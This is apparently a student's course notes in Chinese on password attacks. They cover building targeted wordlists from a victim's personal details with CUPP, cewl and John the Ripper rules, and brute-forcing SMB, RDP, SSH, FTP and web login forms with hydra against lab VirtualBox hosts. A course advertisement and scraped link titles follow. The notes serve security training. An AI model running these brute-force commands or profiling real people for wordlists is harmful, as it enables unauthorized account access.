字典

按个人信息生成其专属的密码字典

CUPP: Common User Password Profiler

- git clone https://github.com/Mebus/cupp.git

- python cup.py -i

root@K:~# git clone https://github.com/Mebus/cupp.git

root@K:~# ls

cupp     Documents  Music     Public  Templates

Desktop  Downloads  Pictures  read    Videos

root@K:~# rm read

root@K:~# cd cupp/

root@K:~/cupp# ls

cupp.cfg  cupp.py  docs  README.md

root@K:~/cupp# python cupp.py -i   //交互的问答生成密码字典

[+] Insert the informations about the victim to make a dictionary

[+] If you don't know all the info ,just hit enter when asked! ;)

> First Name: aa

> Durnme: bb

> Nickname: cc

> Birthdate (DDMMYYYY): 20040216

> Parthers) name: dd

> Parthers) nickname: ee

> Parthers) birthdate (DDMMYYY): 20041900

> Child's name: ff

> Child's nickname: gg

> Child's birthdate (DDMMYYYY): 20042010

> Pet's name: tom

> Company name: alibaba

> Do you want to add some key words about the victim? Y/[N]:

> Do you wnat to add special chars at the end of word? Y/[N]: y

> Do you want to add some random numbers at the end of words? Y/[N]:

> Leet mode? (i.e. leet = 1337) Y/[N]: 123

[+] Now making a dictionary...

[+] Sorting list and removing duplicates...

[+] Saving dictionary to aa.txt, counting 48430 words.

[+] Now load your pistolero with aa.txt and shoot! Good luck!

root@K:~/cupp# ls

aa.txt cupp.cfg  cupp.py  docs  README.md

root@K:~/cupp# more aa.txt

字典

通过手机网站信息生成字典

cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt

- -m:最小单词长度

- -d:爬网深度

- -e:收集包含email地址信息

- -c:每个单词出现次数

- 支持基本、摘要 身份认证

- 支持代理

root@K:~# cewl www.baidu.com -m 3 -d 3 -e -c -v -w a.txt

root@K:~# cat a.txt | more

字典

用户密码变型

- 基于cewl的结果进行密码变型

- 末尾增加数字串

- 字母大小写变化

- 字母与字符互相转换

- 字母与数字互相转换

- P@$$w0rd

字典

使用John the Ripper配置文件实现密码动态变型

/etc/john/john.conf

- [List.Rules:Wordlist]

- $[0-9]$[0-9]$[0-9]

- john --wordlist=cewl.txt --rules --stdout > m.txt

- [List.Rules:test]

$[0-9]$[0-9]$[0-9]$[a-zA-Z]

$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$['~@#$%^&*()-_=+]

- john --wordlist=cewl.txt --rules=test --stdout > m.txt

- john --wordlist=ahm.lst --rules=test HASHFILE

root@K:~# gedit /etc/john/john.conf

root@K:~# ls

a.txt    Documents  Music     Public     Videos

Destop   Downloads  Pictures  Templates

root@K:~# cat a.txt

root@K:~# cat a.txt | head -n 10

root@K:~# cat a.txt | head -n 10 | cut -d "," -f 1

root@K:~# cat a.txt | head -n 10 | cut -d "," -f 1 > p.lst

root@K:~# cat p.lst

root@K:~# john --wordlist=p.lst --rules --stdout > m.txt

root@K:~# cat m.txt | more

root@K:~# john --wordlist=p.lst --rules --stdout > m.txt

root@K:~# cat m.txt

root@K:~# wc -l m.txt

53564 m.txt

root@K:~# wc -l  p.lst

10 p.lst

root@K:~# gedit /etc/john/john.conf

[List.Rules:test]

$[0-9]$[0-9]$[0-9]$[a-zA-Z]

$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$['~@#$%^&*()-_=+]

root@K:~# john --wordlist=p.lst --rules=test --stdout > m.txt

在线密码破解-----hydra

Hydra

- 九头龙,砍去一个头即长出新头,后为大力神赫拉克勒斯所杀

root@K:~# hydra -h

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]

Options:

-R        restore a previous aborted/crashed session

-S        perform an SSL connect

-s PORT   if the service is on a different default port, define it here

-l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE

-p PASS  or -P FILE  try password PASS, or load several passwords from FILE

-x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help

-e nsr    try "n" null password, "s" login as pass and/or "r" reversed login

-u        loop around users, not passwords (effective! implied with -x)

-C FILE   colon separated "login:pass" format, instead of -L/-P options

-M FILE   list of servers to attack, one entry per line, ':' to specify port

-o FILE   write found login/password pairs to FILE instead of stdout

-f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)

-t TASKS  run TASKS number of connects in parallel (per host, default: 16)

-w / -W TIME  waittime for responses (32s) / between connects per thread

-4 / -6   prefer IPv4 (default) or IPv6 addresses

-v / -V / -d  verbose mode / show login+pass for each attempt / debug mode

-q        do not print messages about connection erros

-U        service module usage details

server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)

service   the service to crack (see below for supported protocols)

OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL

v3.0. The newest version is always available at http://www.thc.org/thc-hydra

Don't use in military or secret service organizations, or for illegal purposes.

These services were not compiled in: sapr3 afp ncp oracle.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.

E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)

% export HYDRA_PROXY_HTTP=http://proxy:8080

% export HYDRA_PROXY_AUTH=user:pass

Examples:

hydra -l user -P passlist.txt ftp://192.168.0.1

hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN

hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

hydra -l admin -p password ftp://[192.168.0.0/24]/

hydra -L logins.txt -P pws.txt -M targets.txt ssh

在线密码破解-----hydra

Windows密码破解

- hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd

- hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV

Linux密码破解

- hydra -l root -P pass.lst ssh://1.1.1.1 -vV

其他服务密码破解

- hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64

图形化界面

- xhydra

【课外拓展一】SMB(Server Message Block)是协议名,它能被用于Wap连接和客户端与服务器之间的信息沟通。

【课外拓展二】远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。大部分的Windows都有客户端所需软件。其他操作系统也有这些客户端软件,例如Linux、FreeBSD、Mac OS X。服务端电脑方面,则听取送到TCP3389端口的数据。

【课外拓展三】SSH 为 Secure Shell 的缩写,由 IETF 的网络工作小组(Network Working Group)所制定;SSH 为建立在应用层和传输层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行SSH。

C:\Documents and Settings\Administrator>cd\

C:\>net user administrator *

请键入用户的密码: 1234

请在键入一次密码以便确认: 1234

命令成功完成。

C:\>net share

共享名                  资源                                注释

------------------------------------------------------------------------------

IPC$                                                           远程IPC

ADMIN$             C:\WINDOWS                 远程管理

C$                       C:\                                   默认共享

命令成功完成。

root@K:~# nmap -p 192.168.1.118

Starting Nmap 7.12 (https://nmap.org) at 2016-04-20 21:50 CST

Nmap scan report for 192.168.1.118

Host is p (0.00043s latency).

Not shown: 65530 closed ports

PORT     STATE SERVICE

135/tcp  open  msrpc

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

1025/tcp  open NFS-or-IIS

3389/tcp  open ms-wbt-server

MAC Address: 08-00:27:FA:A9:67 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 19.31 seconds

root@K:~# cp /usr/share/seclists/Passwords/john.txt .

root@K:~# grep 1234 john.txt

root@K:~# hydra -l administrator -P john.txt smb://192.168.1.118

Hydra v8.2 (c) 2014 by van Hauser/THC - Please do not use in military or secret

service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-04-20 21:53:.06

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 64 tasks, 3107 login tries (l:1/p:3107),

~48 tries per task

[DATA] attacking service smb on port 445

[445][smb] host: 192.168.1.118    login: adminostrator   password:1234

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc/org/thc-hydra) finished at 2015-04-20 21-53-07

root@K:~# tail john.txt

root@K:~# wc 1 john.txt

3017 john.txt

C:\>net user administrator *

请键入用户的密码: zhongguo

请在键入一次密码以便确认: zhongguo

命令成功完成。

root@K:~# hydra -l administrator -P john.txt smb://192.168.1.118 -vV

root@K:~# hydra -l administrator -P john.txt rdp://192.168.1.118 -vV

root@K:~# hydra -l administrator -P john.txt rdp://192.168.1.118 -t 1 -vV   //破解速度慢,正确率高

root@K:~# hydra -l root -P pass.lst ssh://192.168.1.113 -e nsr -vV   //linux root账号破解,空密码

root@K:~# hydra -l root -P pass.lst ssh://192.168.1.113 -t 1 -e nsr -vV

root@K:~# nmap -p 192.168.1.113

Starting Nmap 7.12 (https://nmap.org) at 2016-04-20 21:50 CST

Nmap scan report for 192.168.1.113

Host is p (0.00043s latency).

Not shown: 65530 closed ports

PORT     STATE SERVICE

2121/tcp open  ccproxy-ftp

MAC Address: 08-00:27:B0:3A:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 19.31 seconds

root@K:~# nmap -p 192.168.1.113 -sV

Starting Nmap 7.12 (https://nmap.org) at 2016-04-20 21:50 CST

Nmap scan report for 192.168.1.113

Host is p (0.00043s latency).

Not shown: 65530 closed ports

PORT     STATE SERVICE VERSION

2121/tcp open  ftp     ccproxy-ftp 1.3.1

MAC Address: 08-00:27:B0:3A:76 (Oracle VirtualBox virtual NIC)

Server Info: OS: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 19.31 seconds

root@K:~# hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64

root@K:~# vi user.txt

ftp

user

root@K:~# hydra -L user.txt -P john.txt ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64 -vV

root@K:~# xhydra   //打开hydra图形化界面

root@K:~# ftp -h

Usage: { ftp | pftp } [-46pinegvtd] [hostname]

-4: use IPv4 addresses only

-6: use IPv6, nothing else

-p: enable passive mode (default for pftp)

-i: turn off prompting during mget

-n: inhibit auto-login

-e: disable readline support, if present

-g: disable filename globbing

-v: verbose mode

-t: enable packet tracing [nonfunctional]

-d: enable debugging

root@K:~# nmap -p21 192.168.1.113

Starting Nmap 7.12 (https://nmap.org) at 2016-04-20 22:24 CST

Nmap scan report for 192.168.1.113

Host is p (0.00043s latency).

Not shown: 65530 closed ports

PORT     STATE SERVICE

21/tcp   open  ftp

MAC Address: 08-00:27:B0:3A:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 19.31 seconds

root@K:~# ftp 192.168.1.113

Connected to 192.168.1.113

220 (vsFTPd 2.3.4)

Name (192.168.1.113:root): ftp

331 Please specify the password

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp>

ftp> ls

200 PORT command successful. Consider using RASV.

150 Here comes the directory listing.

226 Directory send OK.

ftp>pwd

257 */*

ftp> exit

221 Goodbye

在线密码破解-----hydra

HTTP表单身份认证

- hydra -l admin -P pass.lst 1.1.1.1 http-post-form

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=L

in:S=index.php" -V

- hydra -l admin -P pass.lst 1.1.1.1 http-post -form

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=L

in:Login Failed" -V

- /foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H

=X-foo:Foo

C: 先访问指定页面取得cookie

H: 指定http头

- https-post-form、http-get-form、https-get-form

- -S: 使用SSL连接

root@K:~# hydra -l admin -P pass.lst 192.168.1.113 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Lin:S=index.php"-t 1 -V

root@K:~# hydra -l admin -P pass.lst 192.168.1.113 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Lin::Login Failed"-t 1 -V

root@K:~# /foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-foo:Foo

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?

牛妹先给大家介绍一下Security+

Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?

原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

原因二: IT运维人员工作与翻身的利器。

在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

转载于:https://blog.51cto.com/11672938/1970946

【安全牛学习笔记】字典、在线密码破解-hydra相关推荐

  1. 【安全牛学习笔记】离线密码破解、离线密码破解-Hashcat

    离线密码破解 优势 - 离线不会触发密码锁定机制 - 不会产生大量登录失败日志引起管理员注意 HASH识别工具 - hash-identifier - Hashid - 可能识别错误或无法识别 通过使 ...

  2. 字典生成----在线密码破解工具hydra和medusa的使用

    大家好,我是SuieKa. 本次主要稍微详细分析一下字典的生成和在线密码破解工具hydra和medusa及使用案例,希望对大家学习上有帮助! 目录表 一.常见字典生成工具及使用方法 1.字典生成工具c ...

  3. python编程第三站-在线密码破解工具

    目录 前言 一.在线密码破解介绍 1.什么是在线密码破解 2.web安全中用来破解的工具burpsuite 3.导入需要用到的python模块 二.命令行模块介绍 1.optparse模块介绍 2.w ...

  4. 免费的在线密码破解站点(MD5 SHA WPA ...)

    免费的一些在线密码破解站点,不仅仅局限于MD5,很多都是国外的站,需要使用VPN或者代理访问. MD5 MD5Decrypter(uk) Plain-Text Crackfoo -NNC Hashcr ...

  5. 【安全牛学习笔记】思路、身份认证方法、密码破解方法、字典

    思路 目标系统实施了强安全措施 - 安装了所有补丁 - 无任何已知漏洞 - 无应用层漏洞 - ***面最小化 社会工程学 获取目标系统用户身份 - 非授权用户不守信,认证用户可以访问守信资源 - 已有 ...

  6. 【安全牛学习笔记】COWPATTY 破解密码

    HTTP://ETUORLASLS.ORG/NETWORKING/802.11+SECURITY.+WI-FI+PROTECTED+ACCESS+AND+802.11I/ ╋━━━━━━━━━━━━━ ...

  7. 【安全牛学习笔记】手动漏洞挖掘(二)

    手动漏洞挖掘 身份认证 常用弱口令/基于字典的密码破爆破 锁定账号 信息收集 手机号 密码错误提示信息 密码嗅探 手动漏洞挖掘 会话sessionID Xss / cookie importer Se ...

  8. 【安全牛学习笔记】密钥交换、AIRCRACK-NG基础、AIRODUMP-NG排错

    密钥交换.AIRCRACK-NG基础.AIRODUMP-NG排错 ╋━━━━━━━━━━━━━━━━━━━━━━━━━━╋ ┃密钥交换                                 ...

  9. 【安全牛学习笔记】 WPS

    ╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋ ┃WPS (WIRELESS PROTECTED SETUP)                            ┃ ┃WPS是Wi ...

最新文章

  1. alert()的功能_前端实现简单的图片上传小图预览功能
  2. 是时候给2020年做个总结了
  3. 为什么 C+标准每三年发布一次?
  4. 【9018题解】2109 卡德加的兔子
  5. 揭秘!微软 Build 2020 开发者大会将启,邀您共赴线上新旅程
  6. C#LeetCode刷题-链表
  7. java语言就业方向_2019年汉语言专业最全就业方向
  8. 说一下现在比较火的创业项目
  9. Linux内核绑定1号cpu,Linux绑定硬件IRQ到指定CPU核
  10. keep-alive pipeline区别
  11. 教孩子学编程python pdf_教孩子学编程 PYTHON语言版 PDF_Python教程
  12. php解决时间超过2038年
  13. 高级运维需要掌握哪些技术?
  14. sqlite中的 database is locked 问题
  15. MATLAB安装后出现问题:MTALAB2021安装后闪退打不开
  16. win10ie服务器未响应,win10ie浏览器老是无响应是什么原因?解决win10ie浏览器老是无响应的方法介绍...
  17. 战胜自己,征服北京四海记
  18. windows副本未通过正版windows验证的解决!
  19. 2017杭州云栖大会100位大咖视频+讲义全分享
  20. linux查看raid情况工具,使用MegaCli工具查看Raid磁盘阵列状态

热门文章

  1. 一次性搞定权限树遍历(通用解决方案)
  2. 腾讯面试官:如何停止一个正在运行的线程?我蒙了。。。
  3. 面试官:我把数据库部署在Docker容器内,你觉得如何?
  4. 分享:手把手教你如何免费且光荣地使用正版IntelliJ IDEA
  5. 终于有人把中台说清楚了
  6. 微服务架构之「 服务注册 」
  7. Redis 为什么这么快?
  8. 90%的人会遇到性能问题,如何用1行代码快速定位?
  9. 画出漂亮的神经网络图!神经网络可视化工具集锦搜集
  10. 辞职读博:研究AI设计怪物,从《游戏王》卡牌开始